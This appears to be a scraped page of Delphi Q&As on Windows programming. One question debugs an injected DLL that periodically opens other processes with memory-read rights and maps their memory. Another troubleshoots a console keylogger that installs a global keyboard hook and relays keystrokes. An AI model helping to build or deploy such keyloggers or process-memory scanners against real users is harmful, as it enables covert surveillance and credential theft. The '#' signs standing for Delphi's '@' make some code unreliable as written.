Using Process32First/Next inside DLL procedure - delphi

I have the following procedure:
procedure MyMainThread.MapProc;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Log.txt');
PID:= Struct.th32ProcessID;
PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
CloseHandle(PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
As you can see, I save the running processes inside C:\Log.txt, and this works nice when inside an .exe file. Now I'm trying to implement this inside a .DLL file, and the concept is: The DLL will be loaded, and it will have an EntryPoint calling a Thread.Create... This Thread will use a SetTimer to run the procedure MapProc every 10 seconds to save the running processes in C:\Log.txt. The code is:
library Project1;
uses
Windows,
SysUtils,
Classes,
Registry,
EncdDecd,
TLHelp32,
IdHTTP;
{$R *.res}
type
MyMainThread = Class(TThread)
var
DestDir, ContactHost: String;
Sent: TStringList;
PIDHandle: THandle; //need to be public because we use in MapProc / CatchYa
private
procedure MapProc;
procedure MapMemory(ProcessName: string);
procedure CreateMessagePump;
protected
constructor Create;
procedure Execute; override;
end;
constructor MyMainThread.Create;
begin
inherited Create(false);
FreeOnTerminate:= true;
Priority:= tpNormal;
end;
procedure MyMainThread.Execute;
begin
while not Terminated do
begin
SetTimer(0, 0, 10000, #MyMainThread.MapProc); //setting timer 10 seconds calling MapProc
CreateMessagePump; //we are inside DLL so I think we need Message Pump to timer work
Terminate;
end;
end;
procedure MyMainThread.MapProc;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Log.txt');
PID:= Struct.th32ProcessID;
PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
if POS(Struct.szExeFile, ExeName) = 0 then
MapMemory(Struct.szExeFile); //procedure called for verification purposes, but it's not even getting called
CloseHandle(PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
procedure MyMainThread.CreateMessagePump;
var
AppMsg: TMsg;
begin
while GetMessage(AppMsg, 0, 0, 0) do
begin
TranslateMessage(AppMsg);
DispatchMessage(AppMsg);
end;
//if needed to quit this procedure use PostQuitMessage(0);
end;
procedure EntryPoint(Reason: integer);
begin
if Reason = DLL_PROCESS_ATTACH then
begin
MyMainThread.Create;
end
else
if Reason = DLL_PROCESS_DETACH then
begin
MessageBox(0, 'DLL De-Injected', 'DLL De-Injected', 0);
end;
end;
begin
DLLProc:= #EntryPoint;
EntryPoint(DLL_PROCESS_ATTACH);
end.
But when running this, I get in the Log.txt file only the line: [System Process]
The exe hosting DLL is:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
HD: THandle;
begin
HD:= LoadLibrary('C:\Project1.dll');
end;
end.

The reason that your code fails is that you're not using a proper callback for the SetTimer function. As per the documentation that should have a signature like
procedure (hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD); stdcall;
Your incompatible callback - which is a class method - causes the code to think the Self lives at a completely arbitrary memory address, as class methods has an implicit Self parameter but winapi has no knowledge of that. Now when the code tries to write to an invalid address - 'PIDHandle', assuming there should be a class field, an AV is raised and since the exception is not handled the rest of the code is not executed - also as explained in David's answer.
Your solution is to use a proper callback. To access class members you can use a global variable. Not using a global variable would require some hacky code (google for MethodToProcedure f.i.)
A sample could be like:
threadvar
MyThread: MyMainThread;
procedure TimerProc(hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);
stdcall;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Temp\Log3.txt');
PID:= Struct.th32ProcessID;
MyThread.PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
if POS(Struct.szExeFile, ExeName) = 0 then
MyThread.MapMemory(Struct.szExeFile);
CloseHandle(MyThread.PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
procedure MyMainThread.Execute;
begin
while not Terminated do
begin
MyThread := Self;
SetTimer(0, 0, 10000, #TimerProc);
CreateMessagePump;
Terminate;
end;
end;
To take David's advice, not to get beaten by the '#' operator, we should first redeclare the SetTimer function to use the callback correctly. That would look something like:
threadvar
MyThread: MyMainThread;
procedure TimerProc(hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);
stdcall;
var
..
begin
..
end;
type
TFnTimerProc = procedure (hwnd: HWND; uMsg: UINT; idEvent: UIntPtr;
dwTime: DWORD); stdcall;
function SetTimer(hWnd: HWND; nIDEvent: UIntPtr; uElapse: UINT;
lpTimerFunc: TFNTimerProc): UINT; stdcall; external user32;
procedure MyMainThread.Execute;
begin
MyThread := Self;
SetTimer(0, 0, 10000, TimerProc);
CreateMessagePump;
end;

Here's a version that works as you'd expect. This proves that process enumeration using toolhelp32 works perfectly well from a DLL.
Library
library ProcessEnumLib;
uses
SysUtils, Classes, Windows, TlHelp32;
type
TMyThread = class(TThread)
protected
procedure Execute; override;
end;
procedure TMyThread.Execute;
var
Handle: THandle;
PID: dword;
ProcessEntry: TProcessEntry32;
Processes: TStringList;
begin
Handle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Win32Check(Handle<>0);
try
ProcessEntry.dwSize := Sizeof(TProcessEntry32);
Win32Check(Process32First(Handle, ProcessEntry));
Processes := TStringList.Create;
try
repeat
Processes.Add(ProcessEntry.szExeFile);
until not Process32Next(Handle, ProcessEntry);
Processes.SaveToFile('C:\Desktop\Log.txt');
finally
Processes.Free;
end;
finally
CloseHandle(Handle);
end;
end;
begin
TMyThread.Create;
end.
Host
program ProcessEnumHost;
{$APPTYPE CONSOLE}
uses
Windows;
begin
LoadLibrary('ProcessEnumLib.dll');
Sleep(1000);
end.
Your version is failing because the call to OpenProcess is raising an access violation which is killing the thread. Right now, I'm not sure why that is so.
I suggest that you simplify grossly. You don't need a message loop, and you don't need a timer. You can use Sleep in your thread to pause between process maps. Something like this:
library ProcessEnumLib;
uses
SysUtils, Classes, Windows, TlHelp32;
type
TMyThread = class(TThread)
protected
procedure Execute; override;
end;
procedure TMyThread.Execute;
var
Handle, ProcessHandle: THandle;
ProcessEntry: TProcessEntry32;
Processes: TStringList;
begin
while True do
begin
Handle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Win32Check(Handle<>0);
try
ProcessEntry.dwSize := Sizeof(TProcessEntry32);
Win32Check(Process32First(Handle, ProcessEntry));
Processes := TStringList.Create;
try
repeat
Processes.Add(ProcessEntry.szExeFile);
ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or PROCESS_VM_READ, false, ProcessEntry.th32ProcessID);
CloseHandle(ProcessHandle);
until not Process32Next(Handle, ProcessEntry);
Processes.SaveToFile('C:\Desktop\Log.txt');
finally
Processes.Free;
end;
finally
CloseHandle(Handle);
end;
Sleep(10000);//10s sleep
end;
end;
begin
TMyThread.Create;
end.
I've no idea why, but this variant avoids the AV when calling OpenProcess. I'd love to know why. But it's the right way for you to do what you want, and it side-steps the problem.

Related

How to allow a Windows Service (written in Delphi) to access an Amazon Bucket?

I would like to create a Windows Service (with Delphi) that will attempt, every hour, to retrieve a specific file from a specific Amazon S3 Bucket.
I have no problem accessing the Amazon S3 Bucket with my VCL application. However, if I try to run the same function through my Windows Service, it returns absolutely nothing. I believe that it is a permission issue: my Service does not permission to access the outside world.
What should I do to remedy my problem?
I am using Delphi Tokyo Update 3, my Service is built upon a DataSnap Server.
Here is the code for my 'server container' unit:
unit UnitOurDataSnapServerContainer;
interface
uses
System.SysUtils, System.Classes, System.Win.Registry, Vcl.SvcMgr,
Datasnap.DSTCPServerTransport,
Datasnap.DSServer, Datasnap.DSCommonServer,
IPPeerServer, IPPeerAPI, Datasnap.DSAuth;
type
TServerContainer_OurCompany = class(TService)
DSServer_OurCompany: TDSServer;
DSServerClass_OurCompany: TDSServerClass;
DSTCPServerTransport_OurCompany: TDSTCPServerTransport;
procedure DSServerClass_OurCompanyGetClass(DSServerClass: TDSServerClass; var PersistentClass: TPersistentClass);
procedure ServiceStart(Sender: TService; var Started: Boolean);
private
{ Private declarations }
protected
function DoStop: Boolean; override;
function DoPause: Boolean; override;
function DoContinue: Boolean; override;
procedure DoInterrogate; override;
public
function GetServiceController: TServiceController; override;
end;
var
ServerContainer_OurCompany: TServerContainer_OurCompany;
implementation
{$R *.dfm}
uses
Winapi.Windows,
UnitOurDataSnapServerMethods;
procedure TServerContainer_OurCompany.DSServerClass_OurCompanyGetClass(DSServerClass: TDSServerClass; var PersistentClass: TPersistentClass);
begin
PersistentClass := UnitOurDataSnapServerMethods.TOurDataSnapServerMethods;
end;
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
ServerContainer_OurCompany.Controller(CtrlCode);
end;
function TServerContainer_OurCompany.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
function TServerContainer_OurCompany.DoContinue: Boolean;
begin
Result := inherited;
DSServer_OurCompany.Start;
end;
procedure TServerContainer_OurCompany.DoInterrogate;
begin
inherited;
end;
function TServerContainer_OurCompany.DoPause: Boolean;
begin
DSServer_OurCompany.Stop;
Result := inherited;
end;
function TServerContainer_OurCompany.DoStop: Boolean;
begin
DSServer_OurCompany.Stop;
Result := inherited;
end;
procedure TServerContainer_OurCompany.ServiceStart(Sender: TService; var Started: Boolean);
begin
{$IFDEF RELEASE}
DSServer_OurCompany.HideDSAdmin := True;
{$ENDIF}
DSServer_OurCompany.Start;
end;
end.
Here is the code for my 'servermethods' unit:
unit UnitOurDataSnapServerMethods;
interface
uses
System.SysUtils, System.Classes, Datasnap.DSServer, Datasnap.DSAuth;
type
{$METHODINFO ON}
TOurDataSnapServerMethods = class(TComponent)
private
{ Private declarations }
public
{ Public declarations }
function Get_ListOfFilesInS3Bucket(aS3Path: String; aFileExtension: String) : Integer;
end;
{$METHODINFO OFF}
implementation
uses
Data.Cloud.CloudAPI, Data.Cloud.AmazonAPI;
function TOurDataSnapServerMethods.Get_ListOfFilesInS3Bucket(aS3Path: String; aFileExtension: String) : Integer;
var
iFileList: TStrings;
iFileExtension: String;
iOptionalParams: TStrings;
iResponseInfo: TCloudResponseInfo;
iStorageService: TAmazonStorageService;
iAmazonBucketResult: TAmazonBucketResult;
iAmazonObjectResult: TAmazonObjectResult;
iAmazonConnectionInfo: TAmazonConnectionInfo;
begin
Result := 0;
iFileExtension := aFileExtension;
if Pos('.', iFileExtension) = 0 then
iFileExtension := '.' + iFileExtension;
try
iAmazonConnectionInfo := TAmazonConnectionInfo.Create(nil);
iAmazonConnectionInfo.AccountName := 'AKIA****************';
iAmazonConnectionInfo.AccountKey := 'BzNn************************************';
iOptionalParams := TStringList.Create;
iOptionalParams.Values['prefix'] := aS3Path;
iStorageService := TAmazonStorageService.Create(iAmazonConnectionInfo);
iResponseInfo := TCloudResponseInfo.Create;
iAmazonBucketResult := nil;
iFileList := TStringList.Create;
try
iAmazonBucketResult := iStorageService.GetBucket('our-s3-bucket', iOptionalParams, iResponseInfo);
for iAmazonObjectResult in iAmazonBucketResult.Objects do
begin
if Pos(iFileExtension, iAmazonObjectResult.Name) <> 0 then
iFileList.Add(iAmazonObjectResult.Name);
end;
Result := iFileList.Count;
except
on e: Exception do
;
end;
FreeAndNil(iAmazonBucketResult);
finally
iFileList.Free;
iResponseInfo.Free;
iStorageService.Free;
iOptionalParams.Free;
iAmazonConnectionInfo.Free;
end;
end;
end.
It is the call to 'iStorageService.GetBucket' that returns nothing.

How to execute an application in maximized mode?

Based on my last question, I have a fully functional application that can execute an external process.
But there is a problem. When, for example, Internet Explorer is started, the browser window is not opened maximized.
How to make the browser window (or any other window) start in maximized mode?
Here is my code:
Form:
type
PEnumInfo = ^TEnumInfo;
TEnumInfo = record ProcessID: DWORD; HWND: THandle; end;
type
TForm1 = class(TForm)
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
myPID: DWORD = 0;
implementation
uses
UTaskBarList;
{$R *.dfm}
function EnumWindowsProc(Wnd: DWORD; var EI: TEnumInfo): Bool; stdcall;
var
PID: DWORD;
begin
GetWindowThreadProcessID(Wnd, #PID);
Result := (PID <> EI.ProcessID) or (not IsWindowVisible(WND)) or (not IsWindowEnabled(WND));
if not Result then EI.HWND := WND;
end;
function FindMainWindow(PID: DWORD): DWORD;
var
EI: TEnumInfo;
begin
EI.ProcessID := PID;
EI.HWND := 0;
EnumWindows(#EnumWindowsProc, Integer(#EI));
Result := EI.HWND;
end;
procedure dgCreateProcess(const FileName: string);
var ProcInfo: TProcessInformation;
StartInfo: TStartupInfo;
begin
FillMemory(#StartInfo, sizeof(StartInfo), 0);
StartInfo.cb := sizeof(StartInfo);
// StartInfo.dwX := Screen.DesktopRect.BottomRight.X;
// StartInfo.dwY := Screen.DesktopRect.BottomRight.Y;
CreateProcess(
PChar(FileName),
nil,
nil, Nil, False,
NORMAL_PRIORITY_CLASS,
nil, nil,
StartInfo,
ProcInfo);
myPID := ProcInfo.dwProcessId;
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
procedure TForm1.btn1Click(Sender: TObject);
var
hWindow : DWORD;
szRect : TRect;
posX, posY, windW, windH: Integer;
begin
dgCreateProcess('C:\Program Files\Internet Explorer\iexplore.exe');
repeat
hWindow := FindMainWindow(myPID);//FindWindow('IEFrame', nil);
if hWindow > 0 then
begin
GetWindowRect(hWindow,szRect);
windW := szRect.Width;
windH := szRect.Height;
posX := Screen.DesktopRect.BottomRight.X;
posY := Screen.DesktopRect.BottomRight.Y;
MoveWindow(hWindow, posX, posY, windW, windH,True);
TTaskbarList.Remove(hWindow);
end;
until (IsWindowVisible(hWindow));
ShowMessage('outside of loop');
end;
end.
UTaskBarList:
unit UTaskBarList;
interface
uses ComObj, ShlObj;
type
ITaskbarList = interface
[SID_ITaskbarList]
function HrInit: HResult; stdcall;
function AddTab(hwnd: Cardinal): HResult; stdcall;
function DeleteTab(hwnd: Cardinal): HResult; stdcall;
function ActivateTab(hwnd: Cardinal): HResult; stdcall;
function SetActiveAlt(hwnd: Cardinal): HResult; stdcall;
end;
TTaskbarList = class
private
xTaskbarList: ITaskbarList;
public
constructor Create;
procedure Activate(hwnd: THandle);
procedure Add(hwnd: THandle);
procedure Delete(hwnd: THandle);
class procedure Insert(hwnd: THandle);
class procedure Remove(hwnd: THandle);
end;
implementation
constructor TTaskbarList.Create;
begin
inherited Create;
xTaskbarList := CreateComObject(CLSID_TaskbarList) as ITaskbarList;
xTaskbarList.HrInit;
end;
procedure TTaskbarList.Activate(hwnd: THandle);
begin
xTaskbarList.ActivateTab(hwnd);
end;
procedure TTaskbarList.Add(hwnd: THandle);
begin
xTaskbarList.AddTab(hwnd);
end;
procedure TTaskbarList.Delete(hwnd: THandle);
begin
xTaskbarList.DeleteTab(hwnd);
end;
class procedure TTaskbarList.Insert(hwnd: THandle);
begin
with TTaskbarList.Create do
begin
Add(hwnd);
Free;
end;
end;
class procedure TTaskbarList.Remove(hwnd: THandle);
begin
with TTaskbarList.Create do
begin
Delete(hwnd);
Free;
end;
end;
end.
The usual way to maximize a window in Windows is to call ShowWindow from Win32 API, passing the handle to the window and SW_MAXIMIZE as arguments, after the process has been started.
But when using CreateProcess to start a new process, you can instruct it to call ShowWindow for you, by setting the wShowWindow field of TStartupInfo to SW_MAXIMIZE.
The value you set in wShowWindow is only taken in account if you also set the STARTF_USESHOWWINDOW flag in the dwFlags field. The dwFlags bitfield determines whether certain members of the TStartupInfo record are used when the process creates a window.
Actually, ShowWindow is called automatically when a GUI process is started. By setting the wShowWindow field of TStartupInfo you are just telling it which value to use as argument for nCmdShow parameter on the first call to ShowWindow.
Add the following lines after StartInfo.cb := sizeof(StartInfo); in your code:
StartInfo.dwFlags := STARTF_USESHOWWINDOW;
StartInfo.wShowWindow := SW_MAXIMIZE;
All this is explained in documentation of STARTUPINFO structure:
wShowWindow
If dwFlags specifies STARTF_USESHOWWINDOW, this member can be any of the values that can be specified in the nCmdShow parameter for the
ShowWindow function, except for SW_SHOWDEFAULT. Otherwise, this member
is ignored.
For GUI processes, the first time ShowWindow is called, its nCmdShow parameter is ignored wShowWindow specifies the default value.
In subsequent calls to ShowWindow, the wShowWindow member is used if
the nCmdShow parameter of ShowWindow is set to SW_SHOWDEFAULT.
Unfortunately this does not work universally for all applications. You have to test it individually with every process that you intend to start with CreateProcess. For some applications setting SW_MAXIMIZED on the first call to ShowWindow might not be enough.

Console App and SetWindowsHookEx

Trying to setup a SetWindowsHookEx(WH_KEYBOARD) from a console app. I'm doing this inside thread, because I tried to to use the TThread.WaitFor method to keep the application openned, while the thread is running.
Important code parts:
type
THookKeyboard = procedure; stdcall;
KeyloggerThread = class(TThread)
private
const
MESSAGE_CODE = WM_USER + $1000;
var
HookOn, HookOff: THookKeyboard;
MsgReceptor: ^Integer;
MemFile: THandle;
function InstallKeyLogger(const TempDir: String): bool;
procedure HookMessage(var MessageHandler: TMessage); message MESSAGE_CODE;
protected
constructor Create;
procedure Execute; override;
end;
var
KeylogThreadCtrl: KeyloggerThread;
function KeyloggerThread.InstallKeyLogger(const TempDir: String): bool;
var
DLLHandle: THandle;
begin
Result:= false;
if FileExists(TempDir + DLLName) = true then
begin
DLLHandle:= LoadLibrary(PChar(TempDir + DLLName));
if DLLHandle <> 0 then
begin
#HookOn:= GetProcAddress(DLLHandle, 'HookOn');
#HookOff:= GetProcAddress(DLLHandle, 'HookOff');
end;
if assigned(HookOn) and assigned(HookOff) then
begin
MemFile:= CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,SizeOf(Integer), 'Win32KLCom');
if MemFile <> 0 then
begin
MessageBox(0, 'starting keylogger', 'hook', MB_OK);
MsgReceptor:= MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
HookOn;
Result:= true;
end;
end;
end;
end;
procedure KeyloggerThread.HookMessage(var MessageHandler: TMessage);
begin
MessageBox(0, 'pressed something!', 'hook', MB_OK);
end;
constructor KeyloggerThread.Create;
begin
inherited Create(false);
end;
procedure KeyloggerThread.Execute;
begin
while not Terminated do
begin
if not assigned(HookOn) then
if InstallKeyLogger(ExtractFilePath(ParamStr(0))) = false then
Terminate;
end;
end;
begin
if ParamStr(1) = '-runkeylog' then
begin
MessageBox(0, 'going to install keylogger', 'hook', MB_OK);
KeylogThreadCtrl:= KeyloggerThread.Create;
KeylogThreadCtrl.WaitFor;
end
end;
I know the InstallKeyLogger function is going fine, because I get the messagebox 'starting keylogger'.
Once I press any key, windows start freezing and I need to finish the application. The DLL code is:
library KeyboardDLL;
uses
Windows,
Messages;
{$R *.res}
const
MESSAGE_CODE = WM_USER + $1000;
var
KeyboardHook: HHook;
MemFile: THandle;
MsgReceptor: ^Integer;
function HookCallBack( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;
begin
if code=HC_ACTION then
begin
MemFile:= OpenFileMapping(FILE_MAP_WRITE,False, 'Win32KLCom');
if MemFile<>0 then
begin
MsgReceptor:= MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
PostMessage(MsgReceptor^,MESSAGE_CODE,wParam,lParam);
end;
end;
Result:= CallNextHookEx(KeyboardHook, Code, wParam, lParam)
end;
procedure HookOn; stdcall;
begin
KeyboardHook:= SetWindowsHookEx(WH_KEYBOARD, #HookCallBack, HInstance , 0);
end;
procedure HookOff; stdcall;
begin
UnmapViewOfFile(MsgReceptor);
CloseHandle(MemFile);
UnhookWindowsHookEx(KeyboardHook);
end;
exports
HookOn,
HookOff;
begin
end.
It looks like you ported your hosting code from a VCL application, because you have some assumptions that don't hold for stand-alone threads, like the one you have there:
procedure HookMessage(var MessageHandler: TMessage); message MESSAGE_CODE;
Message procedures like this one only work in the context of a VCL form or control.
You can only post messages (use PostMessage) to window handles, not memory mapped files (as you attempt with the MsgReceptor pointer).
If you want your thread to be able to process messages, you must create a window handle and the thread must have a message loop (GetMessage/DispatchMessage, or similar).

Call an external command in service [duplicate]

I've made a service with Delphi. Every time I call another application in that service the application is not running. What is wrong?
BTW I have used shellexecute, shellopen or calling it with cmd. None of these methods work.
This is my code:
program roro_serv;
uses
SvcMgr,
Unit1 in 'Unit1.pas' {Service1: TService},
ping in 'ping.pas';
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TService1, Service1);
Application.Run;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
ExtCtrls, DB, MemDS, DBAccess, MyAccess, Menus, forms, IniFiles,
ComCtrls, wininet, Variants, shellapi,
FileCtrl, ExtActns, StdCtrls, ShellCtrls;
type
TService1 = class(TService)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure ServiceExecute(Sender: TService);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure ServiceStart(Sender: TService; var Started: Boolean);
private
{ Private declarations }
public
function GetServiceController: TServiceController; override;
{ Public declarations }
procedure run_procedure;
procedure log(text_file, atext : string );
procedure loginfo(text : string);
function CheckUrl(url: string): boolean;
procedure execCMD(CommandLine, Work: string);
function DoDownload(FromUrl, ToFile: String): boolean;
end;
var
Service1: TService1;
iTime : integer;
limit_time : integer = 2;
myini : TiniFile;
default_exe_path : string = '';
default_log_path : string = '';
appdir : String = '';
implementation
{$R *.DFM}
uses ping;
function TService1.CheckUrl(url: string): boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex,dwcodelen :dword;
dwcode:array[1..20] of char;
res : pchar;
begin
if pos('http://',lowercase(url))=0 then
url := 'http://'+url;
Result := false;
hSession := InternetOpen('InetURL:/1.0',
INTERNET_OPEN_TYPE_PRECONFIG,nil, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl(
hsession,
pchar(url),
nil,
0,
INTERNET_FLAG_RELOAD,
0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE,
#dwcode, dwcodeLen, dwIndex);
res := pchar(#dwcode);
result:= (res ='200') or (res ='302');
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
end;
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
Service1.Controller(CtrlCode);
end;
function TService1.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
procedure TService1.Timer1Timer(Sender: TObject);
begin
iTime:=iTime+1;
if iTime=15 then // (limit_time*60) then
begin
itime:=1;
run_procedure;
end;
// loginfo('Defaultlog : '+default_log_path+'; exe : '+default_exe_path);
end;
procedure TService1.ServiceExecute(Sender: TService);
begin
Timer1.Enabled := True;
while not Terminated do
ServiceThread.ProcessRequests(True);
Timer1.Enabled := False;
end;
procedure TService1.run_procedure;
var
i : integer;
sUrl, sLogFile, sAction, sAct_param : String;
begin
for i:=0 to 20 do
begin
sLogFile:=default_log_path+myini.ReadString('logs', 'log_file'+intTostr(i), '');
if fileexists(slogfile) then
begin
loginfo(slogfile+' tersedia');
sAction:=myini.ReadString('logs', 'action'+intTostr(i), '');
if ((trim(sAction)<>'') and (fileexists(default_exe_path+sAction))) then
begin
// this line is don't work in servcie
ShellExecute(Application.Handle, 'open', 'c:\Windows\notepad.exe', nil, nil, SW_SHOWNORMAL);
sAct_param:=myini.ReadString('logs', 'action_prm'+intTostr(i), '');
// this line is don't work in servcie
execCMD(sAction+' '+sAct_param, default_exe_path);
loginfo(sAction+' '+sAct_param+' defpath : '+default_exe_path);
// this loginfo works
end;
end else
begin
end;
end;
end;
procedure TService1.log(text_file, atext: string);
var
logFile : TextFile;
begin
AssignFile(LogFile, text_file);
if FileExists(text_file) then
Append(LogFile) else rewrite(LogFile);
WriteLn(logFile, aText);
CloseFile(LogFile);
end;
procedure TService1.loginfo(text: string);
begin
log(ChangeFileExt(application.exename, '.log'), formatdateTime('dd-mm-yyyy hh:nn:ss ', now)+
text);
end;
procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
myini.Free;
end;
procedure TService1.execCMD(CommandLine, Work: string);
var
SA: TSecurityAttributes;
SI: TStartupInfo;
PI: TProcessInformation;
StdOutPipeRead, StdOutPipeWrite: THandle;
WorkDir: string;
begin
with SA do begin
nLength := SizeOf(SA);
bInheritHandle := True;
lpSecurityDescriptor := nil;
end;
CreatePipe(StdOutPipeRead, StdOutPipeWrite, #SA, 0);
try
with SI do
begin
FillChar(SI, SizeOf(SI), 0);
cb := SizeOf(SI);
dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
wShowWindow := SW_HIDE;
hStdInput := GetStdHandle(STD_INPUT_HANDLE); // don't redirect stdin
hStdOutput := StdOutPipeWrite;
hStdError := StdOutPipeWrite;
end;
WorkDir := Work;
CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
nil, nil, True, 0, nil,
PChar(WorkDir), SI, PI);
CloseHandle(StdOutPipeWrite);
finally
CloseHandle(StdOutPipeRead);
end;
end;
procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
appdir:=ExtractFileDir(Application.ExeName);
myini:=TiniFile.Create(ExtractFileDir(application.ExeName)+'\setting.ini');
limit_time:=myini.ReadInteger('setting', 'limit_time', 0);
default_exe_path:=myini.ReadString('setting', 'default_exe_path','');
if trim(default_exe_path)='' then default_exe_path:=appdir+'\';
default_log_path:=myini.ReadString('setting', 'default_log_path','');
if trim(default_log_path)='' then default_log_path:=appdir+'\logs\';
end;
function TService1.DoDownload(FromUrl, ToFile: String): boolean;
begin
{ with TDownloadURL.Create(self) do
try
URL:=FromUrl;
FileName := ToFile;
ExecuteTarget(nil) ;
finally
Free;
end; }
end;
end.
Please see run_procedure code line;
Put simply: how can I call another application from my service?
ShellExecute/Ex() and CreateProcess() run the specified file/app in the same session as the calling process. A service always runs in session 0.
In XP and earlier, the first user to log in also runs in session 0, so a service can run an interactive process and have it viewable to that interactive user, but only if the service is marked as interactive (the TService.Interactive property is true). If multiple users are logged in, they run in session 1+, and thus cannot see interactive processes run by services.
Windows Vista introduced a new feature called "Session 0 Isolation". Interactive users no longer run in session 0 at all, they always run in session 1+ instead, and session 0 is not interactive at all (the TService.Interactive property no longer has any effect). However, to help with migration of legacy services, if a service runs an interactive process that tries to display a GUI on session 0, Windows prompts the current logged in user, if any, to switch to a separate desktop that temporarily makes the GUI viewable. In Windows 7 onwards, that legacy support is now gone.
In all versions on Windows from 2000 onwards, the correct way to run an interactive process from a service and have it be viewable to an interactive user is to use CreateProcessAsUser() to run the new process in the specified user's session and desktop. There are plenty of detailed examples available on MSDN, StackOverflow, and throughout the Web, so I'm not going to reiterate them here.
Services run in a different session from the interactive user. Services run in session 0. Session 0 processes do not have access to the interactive desktop. Which means that any attempt to show an interactive process in session 0 is doomed to fail. You are attempting to create a Notepad process which is interactive.
There are ways to launch a process on an interactive desktop from a session: Launching an interactive process from Windows Service in Windows Vista and later. As you will understand after reading that article, what you are attempting to do is non-trivial.
This solution is intended to be used from within a service, I thought I'd paste this code here as it was how I got my service to run an application as the currently logged in user.
function WTSQueryUserToken(SessionId: ULONG; var phToken: THandle): BOOL; stdcall; external 'Wtsapi32.dll';
procedure runApp(appName: String);
var
hToken: THandle;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
res: boolean;
begin
GetStartupInfo(StartupInfo);
if WTSQueryUserToken(WtsGetActiveConsoleSessionID, hToken) then
begin
res := CreateProcessAsUser(hToken, PWideChar(appName), nil, nil, nil, False, CREATE_NEW_CONSOLE, nil, nil, StartupInfo, ProcessInfo);
if res then
WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
end;
end;
//Anywhere in your service or app
RunApp ('notepad.exe');

How can I call another application from my Delphi service?

I've made a service with Delphi. Every time I call another application in that service the application is not running. What is wrong?
BTW I have used shellexecute, shellopen or calling it with cmd. None of these methods work.
This is my code:
program roro_serv;
uses
SvcMgr,
Unit1 in 'Unit1.pas' {Service1: TService},
ping in 'ping.pas';
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TService1, Service1);
Application.Run;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
ExtCtrls, DB, MemDS, DBAccess, MyAccess, Menus, forms, IniFiles,
ComCtrls, wininet, Variants, shellapi,
FileCtrl, ExtActns, StdCtrls, ShellCtrls;
type
TService1 = class(TService)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure ServiceExecute(Sender: TService);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
